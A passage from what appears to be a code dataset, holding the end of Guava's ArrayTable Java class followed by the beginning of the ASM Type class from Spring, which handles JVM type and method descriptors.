System.arraycopy(array[i], 0, copy[i], 0, array[i].length);
}
return copy;
}
/**
* Not supported. Use {@link #eraseAll} instead.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link #eraseAll}
*/
@DoNotCall("Always throws UnsupportedOperationException")
@Override
@Deprecated
public void clear() {
throw new UnsupportedOperationException();
}
/** Associates the value {@code null} with every pair of allowed row and column keys. */
public void eraseAll() {
for (@Nullable V[] row : array) {
Arrays.fill(row, null);
}
}
/**
* Returns {@code true} if the provided keys are among the keys provided when the table was
* constructed.
*/
@Override
public boolean contains(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
return containsRow(rowKey) && containsColumn(columnKey);
}
/**
* Returns {@code true} if the provided column key is among the column keys provided when the
* table was constructed.
*/
@Override
public boolean containsColumn(@CheckForNull Object columnKey) {
return columnKeyToIndex.containsKey(columnKey);
}
/**
* Returns {@code true} if the provided row key is among the row keys provided when the table was
* constructed.
*/
@Override
public boolean containsRow(@CheckForNull Object rowKey) {
return rowKeyToIndex.containsKey(rowKey);
}
@Override
public boolean containsValue(@CheckForNull Object value) {
for (@Nullable V[] row : array) {
for (V element : row) {
if (Objects.equal(value, element)) {
return true;
}
}
}
return false;
}
@Override
@CheckForNull
public V get(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
Integer rowIndex = rowKeyToIndex.get(rowKey);
Integer columnIndex = columnKeyToIndex.get(columnKey);
return (rowIndex == null || columnIndex == null) ? null : at(rowIndex, columnIndex);
}
/**
* Returns {@code true} if {@code rowKeyList().size == 0} or {@code columnKeyList().size() == 0}.
*/
@Override
public boolean isEmpty() {
return rowList.isEmpty() || columnList.isEmpty();
}
/**
* {@inheritDoc}
*
* @throws IllegalArgumentException if {@code rowKey} is not in {@link #rowKeySet()} or {@code
* columnKey} is not in {@link #columnKeySet()}.
*/
@CanIgnoreReturnValue
@Override
@CheckForNull
public V put(R rowKey, C columnKey, @CheckForNull V value) {
checkNotNull(rowKey);
checkNotNull(columnKey);
Integer rowIndex = rowKeyToIndex.get(rowKey);
checkArgument(rowIndex != null, "Row %s not in %s", rowKey, rowList);
Integer columnIndex = columnKeyToIndex.get(columnKey);
checkArgument(columnIndex != null, "Column %s not in %s", columnKey, columnList);
return set(rowIndex, columnIndex, value);
}
/*
* TODO(jlevy): Consider creating a merge() method, similar to putAll() but
* copying non-null values only.
*/
/**
* {@inheritDoc}
*
* <p>If {@code table} is an {@code ArrayTable}, its null values will be stored in this table,
* possibly replacing values that were previously non-null.
*
* @throws NullPointerException if {@code table} has a null key
* @throws IllegalArgumentException if any of the provided table's row keys or column keys is not
* in {@link #rowKeySet()} or {@link #columnKeySet()}
*/
@Override
public void putAll(Table<? extends R, ? extends C, ? extends @Nullable V> table) {
super.putAll(table);
}
/**
* Not supported. Use {@link #erase} instead.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link #erase}
*/
@DoNotCall("Always throws UnsupportedOperationException")
@CanIgnoreReturnValue
@Override
@Deprecated
@CheckForNull
public V remove(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
throw new UnsupportedOperationException();
}
/**
* Associates the value {@code null} with the specified keys, assuming both keys are valid. If
* either key is null or isn't among the keys provided during construction, this method has no
* effect.
*
* <p>This method is equivalent to {@code put(rowKey, columnKey, null)} when both provided keys
* are valid.
*
* @param rowKey row key of mapping to be erased
* @param columnKey column key of mapping to be erased
* @return the value previously associated with the keys, or {@code null} if no mapping existed
* for the keys
*/
@CanIgnoreReturnValue
@CheckForNull
public V erase(@CheckForNull Object rowKey, @CheckForNull Object columnKey) {
Integer rowIndex = rowKeyToIndex.get(rowKey);
Integer columnIndex = columnKeyToIndex.get(columnKey);
if (rowIndex == null || columnIndex == null) {
return null;
}
return set(rowIndex, columnIndex, null);
}
// TODO(jlevy): Add eraseRow and eraseColumn methods?
@Override
public int size() {
return rowList.size() * columnList.size();
}
/**
* Returns an unmodifiable set of all row key / column key / value triplets. Changes to the table
* will update the returned set.
*
* <p>The returned set's iterator traverses the mappings with the first row key, the mappings with
* the second row key, and so on.
*
* <p>The value in the returned cells may change if the table subsequently changes.
*
* @return set of table cells consisting of row key / column key / value triplets
*/
@Override
public Set<Cell<R, C, @Nullable V>> cellSet() {
return super.cellSet();
}
@Override
Iterator<Cell<R, C, @Nullable V>> cellIterator() {
return new AbstractIndexedListIterator<Cell<R, C, @Nullable V>>(size()) {
@Override
protected Cell<R, C, @Nullable V> get(final int index) {
return getCell(index);
}
};
}
private Cell<R, C, @Nullable V> getCell(final int index) {
return new Tables.AbstractCell<R, C, @Nullable V>() {
final int rowIndex = index / columnList.size();
final int columnIndex = index % columnList.size();
@Override
public R getRowKey() {
return rowList.get(rowIndex);
}
@Override
public C getColumnKey() {
return columnList.get(columnIndex);
}
@Override
@CheckForNull
public V getValue() {
return at(rowIndex, columnIndex);
}
};
}
@CheckForNull
private V getValue(int index) {
int rowIndex = index / columnList.size();
int columnIndex = index % columnList.size();
return at(rowIndex, columnIndex);
}
/**
* Returns a view of all mappings that have the given column key. If the column key isn't in
* {@link #columnKeySet()}, an empty immutable map is returned.
*
* <p>Otherwise, for each row key in {@link #rowKeySet()}, the returned map associates the row key
* with the corresponding value in the table. Changes to the returned map will update the
* underlying table, and vice versa.
*
* @param columnKey key of column to search for in the table
* @return the corresponding map from row keys to values
*/
@Override
public Map<R, @Nullable V> column(C columnKey) {
checkNotNull(columnKey);
Integer columnIndex = columnKeyToIndex.get(columnKey);
if (columnIndex == null) {
return emptyMap();
} else {
return new Column(columnIndex);
}
}
private class Column extends ArrayMap<R, @Nullable V> {
final int columnIndex;
Column(int columnIndex) {
super(rowKeyToIndex);
this.columnIndex = columnIndex;
}
@Override
String getKeyRole() {
return "Row";
}
@Override
@CheckForNull
V getValue(int index) {
return at(index, columnIndex);
}
@Override
@CheckForNull
V setValue(int index, @CheckForNull V newValue) {
return set(index, columnIndex, newValue);
}
}
/**
* Returns an immutable set of the valid column keys, including those that are associated with
* null values only.
*
* @return immutable set of column keys
*/
@Override
public ImmutableSet<C> columnKeySet() {
return columnKeyToIndex.keySet();
}
@LazyInit @CheckForNull private transient ColumnMap columnMap;
@Override
public Map<C, Map<R, @Nullable V>> columnMap() {
ColumnMap map = columnMap;
return (map == null) ? columnMap = new ColumnMap() : map;
}
@WeakOuter
private class ColumnMap extends ArrayMap<C, Map<R, @Nullable V>> {
private ColumnMap() {
super(columnKeyToIndex);
}
@Override
String getKeyRole() {
return "Column";
}
@Override
Map<R, @Nullable V> getValue(int index) {
return new Column(index);
}
@Override
Map<R, @Nullable V> setValue(int index, Map<R, @Nullable V> newValue) {
throw new UnsupportedOperationException();
}
@Override
@CheckForNull
public Map<R, @Nullable V> put(C key, Map<R, @Nullable V> value) {
throw new UnsupportedOperationException();
}
}
/**
* Returns a view of all mappings that have the given row key. If the row key isn't in {@link
* #rowKeySet()}, an empty immutable map is returned.
*
* <p>Otherwise, for each column key in {@link #columnKeySet()}, the returned map associates the
* column key with the corresponding value in the table. Changes to the returned map will update
* the underlying table, and vice versa.
*
* @param rowKey key of row to search for in the table
* @return the corresponding map from column keys to values
*/
@Override
public Map<C, @Nullable V> row(R rowKey) {
checkNotNull(rowKey);
Integer rowIndex = rowKeyToIndex.get(rowKey);
if (rowIndex == null) {
return emptyMap();
} else {
return new Row(rowIndex);
}
}
private class Row extends ArrayMap<C, @Nullable V> {
final int rowIndex;
Row(int rowIndex) {
super(columnKeyToIndex);
this.rowIndex = rowIndex;
}
@Override
String getKeyRole() {
return "Column";
}
@Override
@CheckForNull
V getValue(int index) {
return at(rowIndex, index);
}
@Override
@CheckForNull
V setValue(int index, @CheckForNull V newValue) {
return set(rowIndex, index, newValue);
}
}
/**
* Returns an immutable set of the valid row keys, including those that are associated with null
* values only.
*
* @return immutable set of row keys
*/
@Override
public ImmutableSet<R> rowKeySet() {
return rowKeyToIndex.keySet();
}
@LazyInit @CheckForNull private transient RowMap rowMap;
@Override
public Map<R, Map<C, @Nullable V>> rowMap() {
RowMap map = rowMap;
return (map == null) ? rowMap = new RowMap() : map;
}
@WeakOuter
private class RowMap extends ArrayMap<R, Map<C, @Nullable V>> {
private RowMap() {
super(rowKeyToIndex);
}
@Override
String getKeyRole() {
return "Row";
}
@Override
Map<C, @Nullable V> getValue(int index) {
return new Row(index);
}
@Override
Map<C, @Nullable V> setValue(int index, Map<C, @Nullable V> newValue) {
throw new UnsupportedOperationException();
}
@Override
@CheckForNull
public Map<C, @Nullable V> put(R key, Map<C, @Nullable V> value) {
throw new UnsupportedOperationException();
}
}
/**
* Returns an unmodifiable collection of all values, which may contain duplicates. Changes to the
* table will update the returned collection.
*
* <p>The returned collection's iterator traverses the values of the first row key, the values of
* the second row key, and so on.
*
* @return collection of values
*/
@Override
public Collection<@Nullable V> values() {
return super.values();
}
@Override
Iterator<@Nullable V> valuesIterator() {
return new AbstractIndexedListIterator<@Nullable V>(size()) {
@Override
@CheckForNull
protected V get(int index) {
return getValue(index);
}
};
}
private static final long serialVersionUID = 0;
}
| google/guava | android/guava/src/com/google/common/collect/ArrayTable.java |
1,378 | // ASM: a very small and fast Java bytecode manipulation framework
// Copyright (c) 2000-2011 INRIA, France Telecom
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holders nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
// THE POSSIBILITY OF SUCH DAMAGE.
package org.springframework.asm;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
/**
* A Java field or method type. This class can be used to make it easier to manipulate type and
* method descriptors.
*
* @author Eric Bruneton
* @author Chris Nokleberg
*/
public final class Type {
/** The sort of the {@code void} type. See {@link #getSort}. */
public static final int VOID = 0;
/** The sort of the {@code boolean} type. See {@link #getSort}. */
public static final int BOOLEAN = 1;
/** The sort of the {@code char} type. See {@link #getSort}. */
public static final int CHAR = 2;
/** The sort of the {@code byte} type. See {@link #getSort}. */
public static final int BYTE = 3;
/** The sort of the {@code short} type. See {@link #getSort}. */
public static final int SHORT = 4;
/** The sort of the {@code int} type. See {@link #getSort}. */
public static final int INT = 5;
/** The sort of the {@code float} type. See {@link #getSort}. */
public static final int FLOAT = 6;
/** The sort of the {@code long} type. See {@link #getSort}. */
public static final int LONG = 7;
/** The sort of the {@code double} type. See {@link #getSort}. */
public static final int DOUBLE = 8;
/** The sort of array reference types. See {@link #getSort}. */
public static final int ARRAY = 9;
/** The sort of object reference types. See {@link #getSort}. */
public static final int OBJECT = 10;
/** The sort of method types. See {@link #getSort}. */
public static final int METHOD = 11;
/** The (private) sort of object reference types represented with an internal name. */
private static final int INTERNAL = 12;
/** The descriptors of the primitive types. */
private static final String PRIMITIVE_DESCRIPTORS = "VZCBSIFJD";
/** The {@code void} type. */
public static final Type VOID_TYPE = new Type(VOID, PRIMITIVE_DESCRIPTORS, VOID, VOID + 1);
/** The {@code boolean} type. */
public static final Type BOOLEAN_TYPE =
new Type(BOOLEAN, PRIMITIVE_DESCRIPTORS, BOOLEAN, BOOLEAN + 1);
/** The {@code char} type. */
public static final Type CHAR_TYPE = new Type(CHAR, PRIMITIVE_DESCRIPTORS, CHAR, CHAR + 1);
/** The {@code byte} type. */
public static final Type BYTE_TYPE = new Type(BYTE, PRIMITIVE_DESCRIPTORS, BYTE, BYTE + 1);
/** The {@code short} type. */
public static final Type SHORT_TYPE = new Type(SHORT, PRIMITIVE_DESCRIPTORS, SHORT, SHORT + 1);
/** The {@code int} type. */
public static final Type INT_TYPE = new Type(INT, PRIMITIVE_DESCRIPTORS, INT, INT + 1);
/** The {@code float} type. */
public static final Type FLOAT_TYPE = new Type(FLOAT, PRIMITIVE_DESCRIPTORS, FLOAT, FLOAT + 1);
/** The {@code long} type. */
public static final Type LONG_TYPE = new Type(LONG, PRIMITIVE_DESCRIPTORS, LONG, LONG + 1);
/** The {@code double} type. */
public static final Type DOUBLE_TYPE =
new Type(DOUBLE, PRIMITIVE_DESCRIPTORS, DOUBLE, DOUBLE + 1);
// -----------------------------------------------------------------------------------------------
// Fields
// -----------------------------------------------------------------------------------------------
/**
* The sort of this type. Either {@link #VOID}, {@link #BOOLEAN}, {@link #CHAR}, {@link #BYTE},
* {@link #SHORT}, {@link #INT}, {@link #FLOAT}, {@link #LONG}, {@link #DOUBLE}, {@link #ARRAY},
* {@link #OBJECT}, {@link #METHOD} or {@link #INTERNAL}.
*/
private final int sort;
/**
* A buffer containing the value of this field or method type. This value is an internal name for
* {@link #OBJECT} and {@link #INTERNAL} types, and a field or method descriptor in the other
* cases.
*
* <p>For {@link #OBJECT} types, this field also contains the descriptor: the characters in
* [{@link #valueBegin},{@link #valueEnd}) contain the internal name, and those in [{@link
* #valueBegin} - 1, {@link #valueEnd} + 1) contain the descriptor.
*/
private final String valueBuffer;
/**
* The beginning index, inclusive, of the value of this Java field or method type in {@link
* #valueBuffer}. This value is an internal name for {@link #OBJECT} and {@link #INTERNAL} types,
* and a field or method descriptor in the other cases.
*/
private final int valueBegin;
/**
* The end index, exclusive, of the value of this Java field or method type in {@link
* #valueBuffer}. This value is an internal name for {@link #OBJECT} and {@link #INTERNAL} types,
* and a field or method descriptor in the other cases.
*/
private final int valueEnd;
/**
* Constructs a reference type.
*
* @param sort the sort of this type, see {@link #sort}.
* @param valueBuffer a buffer containing the value of this field or method type.
* @param valueBegin the beginning index, inclusive, of the value of this field or method type in
* valueBuffer.
* @param valueEnd the end index, exclusive, of the value of this field or method type in
* valueBuffer.
*/
private Type(final int sort, final String valueBuffer, final int valueBegin, final int valueEnd) {
this.sort = sort;
this.valueBuffer = valueBuffer;
this.valueBegin = valueBegin;
this.valueEnd = valueEnd;
}
// -----------------------------------------------------------------------------------------------
// Methods to get Type(s) from a descriptor, a reflected Method or Constructor, other types, etc.
// -----------------------------------------------------------------------------------------------
/**
* Returns the {@link Type} corresponding to the given type descriptor.
*
* @param typeDescriptor a field or method type descriptor.
* @return the {@link Type} corresponding to the given type descriptor.
*/
public static Type getType(final String typeDescriptor) {
return getTypeInternal(typeDescriptor, 0, typeDescriptor.length());
}
/**
* Returns the {@link Type} corresponding to the given class.
*
* @param clazz a class.
* @return the {@link Type} corresponding to the given class.
*/
public static Type getType(final Class<?> clazz) {
if (clazz.isPrimitive()) {
if (clazz == Integer.TYPE) {
return INT_TYPE;
} else if (clazz == Void.TYPE) {
return VOID_TYPE;
} else if (clazz == Boolean.TYPE) {
return BOOLEAN_TYPE;
} else if (clazz == Byte.TYPE) {
return BYTE_TYPE;
} else if (clazz == Character.TYPE) {
return CHAR_TYPE;
} else if (clazz == Short.TYPE) {
return SHORT_TYPE;
} else if (clazz == Double.TYPE) {
return DOUBLE_TYPE;
} else if (clazz == Float.TYPE) {
return FLOAT_TYPE;
} else if (clazz == Long.TYPE) {
return LONG_TYPE;
} else {
throw new AssertionError();
}
} else {
return getType(getDescriptor(clazz));
}
}
/**
* Returns the method {@link Type} corresponding to the given constructor.
*
* @param constructor a {@link Constructor} object.
* @return the method {@link Type} corresponding to the given constructor.
*/
public static Type getType(final Constructor<?> constructor) {
return getType(getConstructorDescriptor(constructor));
}
/**
* Returns the method {@link Type} corresponding to the given method.
*
* @param method a {@link Method} object.
* @return the method {@link Type} corresponding to the given method.
*/
public static Type getType(final Method method) {
return getType(getMethodDescriptor(method));
}
/**
* Returns the type of the elements of this array type. This method should only be used for an
* array type.
*
* @return Returns the type of the elements of this array type.
*/
public Type getElementType() {
final int numDimensions = getDimensions();
return getTypeInternal(valueBuffer, valueBegin + numDimensions, valueEnd);
}
/**
* Returns the {@link Type} corresponding to the given internal name.
*
* @param internalName an internal name (see {@link Type#getInternalName()}).
* @return the {@link Type} corresponding to the given internal name.
*/
public static Type getObjectType(final String internalName) {
return new Type(
internalName.charAt(0) == '[' ? ARRAY : INTERNAL, internalName, 0, internalName.length());
}
/**
* Returns the {@link Type} corresponding to the given method descriptor. Equivalent to <code>
* Type.getType(methodDescriptor)</code>.
*
* @param methodDescriptor a method descriptor.
* @return the {@link Type} corresponding to the given method descriptor.
*/
public static Type getMethodType(final String methodDescriptor) {
return new Type(METHOD, methodDescriptor, 0, methodDescriptor.length());
}
/**
* Returns the method {@link Type} corresponding to the given argument and return types.
*
* @param returnType the return type of the method.
* @param argumentTypes the argument types of the method.
* @return the method {@link Type} corresponding to the given argument and return types.
*/
public static Type getMethodType(final Type returnType, final Type... argumentTypes) {
return getType(getMethodDescriptor(returnType, argumentTypes));
}
/**
* Returns the argument types of methods of this type. This method should only be used for method
* types.
*
* @return the argument types of methods of this type.
*/
public Type[] getArgumentTypes() {
return getArgumentTypes(getDescriptor());
}
/**
* Returns the {@link Type} values corresponding to the argument types of the given method
* descriptor.
*
* @param methodDescriptor a method descriptor.
* @return the {@link Type} values corresponding to the argument types of the given method
* descriptor.
*/
public static Type[] getArgumentTypes(final String methodDescriptor) {
// First step: compute the number of argument types in methodDescriptor.
int numArgumentTypes = getArgumentCount(methodDescriptor);
// Second step: create a Type instance for each argument type.
Type[] argumentTypes = new Type[numArgumentTypes];
// Skip the first character, which is always a '('.
int currentOffset = 1;
// Parse and create the argument types, one at each loop iteration.
int currentArgumentTypeIndex = 0;
while (methodDescriptor.charAt(currentOffset) != ')') {
final int currentArgumentTypeOffset = currentOffset;
while (methodDescriptor.charAt(currentOffset) == '[') {
currentOffset++;
}
if (methodDescriptor.charAt(currentOffset++) == 'L') {
// Skip the argument descriptor content.
int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset);
currentOffset = Math.max(currentOffset, semiColumnOffset + 1);
}
argumentTypes[currentArgumentTypeIndex++] =
getTypeInternal(methodDescriptor, currentArgumentTypeOffset, currentOffset);
}
return argumentTypes;
}
/**
* Returns the {@link Type} values corresponding to the argument types of the given method.
*
* @param method a method.
* @return the {@link Type} values corresponding to the argument types of the given method.
*/
public static Type[] getArgumentTypes(final Method method) {
Class<?>[] classes = method.getParameterTypes();
Type[] types = new Type[classes.length];
for (int i = classes.length - 1; i >= 0; --i) {
types[i] = getType(classes[i]);
}
return types;
}
/**
* Returns the return type of methods of this type. This method should only be used for method
* types.
*
* @return the return type of methods of this type.
*/
public Type getReturnType() {
return getReturnType(getDescriptor());
}
/**
* Returns the {@link Type} corresponding to the return type of the given method descriptor.
*
* @param methodDescriptor a method descriptor.
* @return the {@link Type} corresponding to the return type of the given method descriptor.
*/
public static Type getReturnType(final String methodDescriptor) {
return getTypeInternal(
methodDescriptor, getReturnTypeOffset(methodDescriptor), methodDescriptor.length());
}
/**
* Returns the {@link Type} corresponding to the return type of the given method.
*
* @param method a method.
* @return the {@link Type} corresponding to the return type of the given method.
*/
public static Type getReturnType(final Method method) {
return getType(method.getReturnType());
}
/**
* Returns the start index of the return type of the given method descriptor.
*
* @param methodDescriptor a method descriptor.
* @return the start index of the return type of the given method descriptor.
*/
static int getReturnTypeOffset(final String methodDescriptor) {
// Skip the first character, which is always a '('.
int currentOffset = 1;
// Skip the argument types, one at a each loop iteration.
while (methodDescriptor.charAt(currentOffset) != ')') {
while (methodDescriptor.charAt(currentOffset) == '[') {
currentOffset++;
}
if (methodDescriptor.charAt(currentOffset++) == 'L') {
// Skip the argument descriptor content.
int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset);
currentOffset = Math.max(currentOffset, semiColumnOffset + 1);
}
}
return currentOffset + 1;
}
/**
* Returns the {@link Type} corresponding to the given field or method descriptor.
*
* @param descriptorBuffer a buffer containing the field or method descriptor.
* @param descriptorBegin the beginning index, inclusive, of the field or method descriptor in
* descriptorBuffer.
* @param descriptorEnd the end index, exclusive, of the field or method descriptor in
* descriptorBuffer.
* @return the {@link Type} corresponding to the given type descriptor.
*/
private static Type getTypeInternal(
final String descriptorBuffer, final int descriptorBegin, final int descriptorEnd) {
switch (descriptorBuffer.charAt(descriptorBegin)) {
case 'V':
return VOID_TYPE;
case 'Z':
return BOOLEAN_TYPE;
case 'C':
return CHAR_TYPE;
case 'B':
return BYTE_TYPE;
case 'S':
return SHORT_TYPE;
case 'I':
return INT_TYPE;
case 'F':
return FLOAT_TYPE;
case 'J':
return LONG_TYPE;
case 'D':
return DOUBLE_TYPE;
case '[':
return new Type(ARRAY, descriptorBuffer, descriptorBegin, descriptorEnd);
case 'L':
return new Type(OBJECT, descriptorBuffer, descriptorBegin + 1, descriptorEnd - 1);
case '(':
return new Type(METHOD, descriptorBuffer, descriptorBegin, descriptorEnd);
default:
throw new IllegalArgumentException("Invalid descriptor: " + descriptorBuffer);
}
}
// -----------------------------------------------------------------------------------------------
// Methods to get class names, internal names or descriptors.
// -----------------------------------------------------------------------------------------------
/**
* Returns the binary name of the class corresponding to this type. This method must not be used
* on method types.
*
* @return the binary name of the class corresponding to this type.
*/
public String getClassName() {
switch (sort) {
case VOID:
return "void";
case BOOLEAN:
return "boolean";
case CHAR:
return "char";
case BYTE:
return "byte";
case SHORT:
return "short";
case INT:
return "int";
case FLOAT:
return "float";
case LONG:
return "long";
case DOUBLE:
return "double";
case ARRAY:
StringBuilder stringBuilder = new StringBuilder(getElementType().getClassName());
for (int i = getDimensions(); i > 0; --i) {
stringBuilder.append("[]");
}
return stringBuilder.toString();
case OBJECT:
case INTERNAL:
return valueBuffer.substring(valueBegin, valueEnd).replace('/', '.');
default:
throw new AssertionError();
}
}
/**
* Returns the internal name of the class corresponding to this object or array type. The internal
* name of a class is its fully qualified name (as returned by Class.getName(), where '.' are
* replaced by '/'). This method should only be used for an object or array type.
*
* @return the internal name of the class corresponding to this object type.
*/
public String getInternalName() {
return valueBuffer.substring(valueBegin, valueEnd);
}
/**
* Returns the internal name of the given class. The internal name of a class is its fully
* qualified name, as returned by Class.getName(), where '.' are replaced by '/'.
*
* @param clazz an object or array class.
* @return the internal name of the given class.
*/
public static String getInternalName(final Class<?> clazz) {
return clazz.getName().replace('.', '/');
}
/**
* Returns the descriptor corresponding to this type.
*
* @return the descriptor corresponding to this type.
*/
public String getDescriptor() {
if (sort == OBJECT) {
return valueBuffer.substring(valueBegin - 1, valueEnd + 1);
} else if (sort == INTERNAL) {
return 'L' + valueBuffer.substring(valueBegin, valueEnd) + ';';
} else {
return valueBuffer.substring(valueBegin, valueEnd);
}
}
/**
* Returns the descriptor corresponding to the given class.
*
* @param clazz an object class, a primitive class or an array class.
* @return the descriptor corresponding to the given class.
*/
public static String getDescriptor(final Class<?> clazz) {
StringBuilder stringBuilder = new StringBuilder();
appendDescriptor(clazz, stringBuilder);
return stringBuilder.toString();
}
/**
* Returns the descriptor corresponding to the given constructor.
*
* @param constructor a {@link Constructor} object.
* @return the descriptor of the given constructor.
*/
public static String getConstructorDescriptor(final Constructor<?> constructor) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append('(');
Class<?>[] parameters = constructor.getParameterTypes();
for (Class<?> parameter : parameters) {
appendDescriptor(parameter, stringBuilder);
}
return stringBuilder.append(")V").toString();
}
/**
* Returns the descriptor corresponding to the given argument and return types.
*
* @param returnType the return type of the method.
* @param argumentTypes the argument types of the method.
* @return the descriptor corresponding to the given argument and return types.
*/
public static String getMethodDescriptor(final Type returnType, final Type... argumentTypes) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append('(');
for (Type argumentType : argumentTypes) {
argumentType.appendDescriptor(stringBuilder);
}
stringBuilder.append(')');
returnType.appendDescriptor(stringBuilder);
return stringBuilder.toString();
}
/**
* Returns the descriptor corresponding to the given method.
*
* @param method a {@link Method} object.
* @return the descriptor of the given method.
*/
public static String getMethodDescriptor(final Method method) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append('(');
Class<?>[] parameters = method.getParameterTypes();
for (Class<?> parameter : parameters) {
appendDescriptor(parameter, stringBuilder);
}
stringBuilder.append(')');
appendDescriptor(method.getReturnType(), stringBuilder);
return stringBuilder.toString();
}
/**
* Appends the descriptor corresponding to this type to the given string buffer.
*
* @param stringBuilder the string builder to which the descriptor must be appended.
*/
private void appendDescriptor(final StringBuilder stringBuilder) {
if (sort == OBJECT) {
stringBuilder.append(valueBuffer, valueBegin - 1, valueEnd + 1);
} else if (sort == INTERNAL) {
stringBuilder.append('L').append(valueBuffer, valueBegin, valueEnd).append(';');
} else {
stringBuilder.append(valueBuffer, valueBegin, valueEnd);
}
}
/**
* Appends the descriptor of the given class to the given string builder.
*
* @param clazz the class whose descriptor must be computed.
* @param stringBuilder the string builder to which the descriptor must be appended.
*/
private static void appendDescriptor(final Class<?> clazz, final StringBuilder stringBuilder) {
Class<?> currentClass = clazz;
while (currentClass.isArray()) {
stringBuilder.append('[');
currentClass = currentClass.componentType();
}
if (currentClass.isPrimitive()) {
char descriptor;
if (currentClass == Integer.TYPE) {
descriptor = 'I';
} else if (currentClass == Void.TYPE) {
descriptor = 'V';
} else if (currentClass == Boolean.TYPE) {
descriptor = 'Z';
} else if (currentClass == Byte.TYPE) {
descriptor = 'B';
} else if (currentClass == Character.TYPE) {
descriptor = 'C';
} else if (currentClass == Short.TYPE) {
descriptor = 'S';
} else if (currentClass == Double.TYPE) {
descriptor = 'D';
} else if (currentClass == Float.TYPE) {
descriptor = 'F';
} else if (currentClass == Long.TYPE) {
descriptor = 'J';
} else {
throw new AssertionError();
}
stringBuilder.append(descriptor);
} else {
stringBuilder.append('L').append(getInternalName(currentClass)).append(';');
}
}
// -----------------------------------------------------------------------------------------------
// Methods to get the sort, dimension, size, and opcodes corresponding to a Type or descriptor.
// -----------------------------------------------------------------------------------------------
/**
* Returns the sort of this type.
*
* @return {@link #VOID}, {@link #BOOLEAN}, {@link #CHAR}, {@link #BYTE}, {@link #SHORT}, {@link
* #INT}, {@link #FLOAT}, {@link #LONG}, {@link #DOUBLE}, {@link #ARRAY}, {@link #OBJECT} or
* {@link #METHOD}.
*/
public int getSort() {
return sort == INTERNAL ? OBJECT : sort;
}
/**
* Returns the number of dimensions of this array type. This method should only be used for an
* array type.
*
* @return the number of dimensions of this array type.
*/
public int getDimensions() {
int numDimensions = 1;
while (valueBuffer.charAt(valueBegin + numDimensions) == '[') {
numDimensions++;
}
return numDimensions;
}
/**
* Returns the size of values of this type. This method must not be used for method types.
*
* @return the size of values of this type, i.e., 2 for {@code long} and {@code double}, 0 for
* {@code void} and 1 otherwise.
*/
public int getSize() {
switch (sort) {
case VOID:
return 0;
case BOOLEAN:
case CHAR:
case BYTE:
case SHORT:
case INT:
case FLOAT:
case ARRAY:
case OBJECT:
case INTERNAL:
return 1;
case LONG:
case DOUBLE:
return 2;
default:
throw new AssertionError();
}
}
/**
* Returns the number of arguments of this method type. This method should only be used for method
* types.
*
* @return the number of arguments of this method type. Each argument counts for 1, even long and
* double ones. The implicit @literal{this} argument is not counted.
*/
public int getArgumentCount() {
return getArgumentCount(getDescriptor());
}
/**
* Returns the number of arguments in the given method descriptor.
*
* @param methodDescriptor a method descriptor.
* @return the number of arguments in the given method descriptor. Each argument counts for 1,
* even long and double ones. The implicit @literal{this} argument is not counted.
*/
public static int getArgumentCount(final String methodDescriptor) {
int argumentCount = 0;
// Skip the first character, which is always a '('.
int currentOffset = 1;
// Parse the argument types, one at a each loop iteration.
while (methodDescriptor.charAt(currentOffset) != ')') {
while (methodDescriptor.charAt(currentOffset) == '[') {
currentOffset++;
}
if (methodDescriptor.charAt(currentOffset++) == 'L') {
// Skip the argument descriptor content.
int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset);
currentOffset = Math.max(currentOffset, semiColumnOffset + 1);
}
++argumentCount;
}
return argumentCount;
}
/**
* Returns the size of the arguments and of the return value of methods of this type. This method
* should only be used for method types.
*
* @return the size of the arguments of the method (plus one for the implicit this argument),
* argumentsSize, and the size of its return value, returnSize, packed into a single int i =
* {@code (argumentsSize << 2) | returnSize} (argumentsSize is therefore equal to {@code
* i >> 2}, and returnSize to {@code i & 0x03}). Long and double values have size 2,
* the others have size 1.
*/
public int getArgumentsAndReturnSizes() {
return getArgumentsAndReturnSizes(getDescriptor());
}
/**
* Computes the size of the arguments and of the return value of a method.
*
* @param methodDescriptor a method descriptor.
* @return the size of the arguments of the method (plus one for the implicit this argument),
* argumentsSize, and the size of its return value, returnSize, packed into a single int i =
* {@code (argumentsSize << 2) | returnSize} (argumentsSize is therefore equal to {@code
* i >> 2}, and returnSize to {@code i & 0x03}). Long and double values have size 2,
* the others have size 1.
*/
public static int getArgumentsAndReturnSizes(final String methodDescriptor) {
int argumentsSize = 1;
// Skip the first character, which is always a '('.
int currentOffset = 1;
int currentChar = methodDescriptor.charAt(currentOffset);
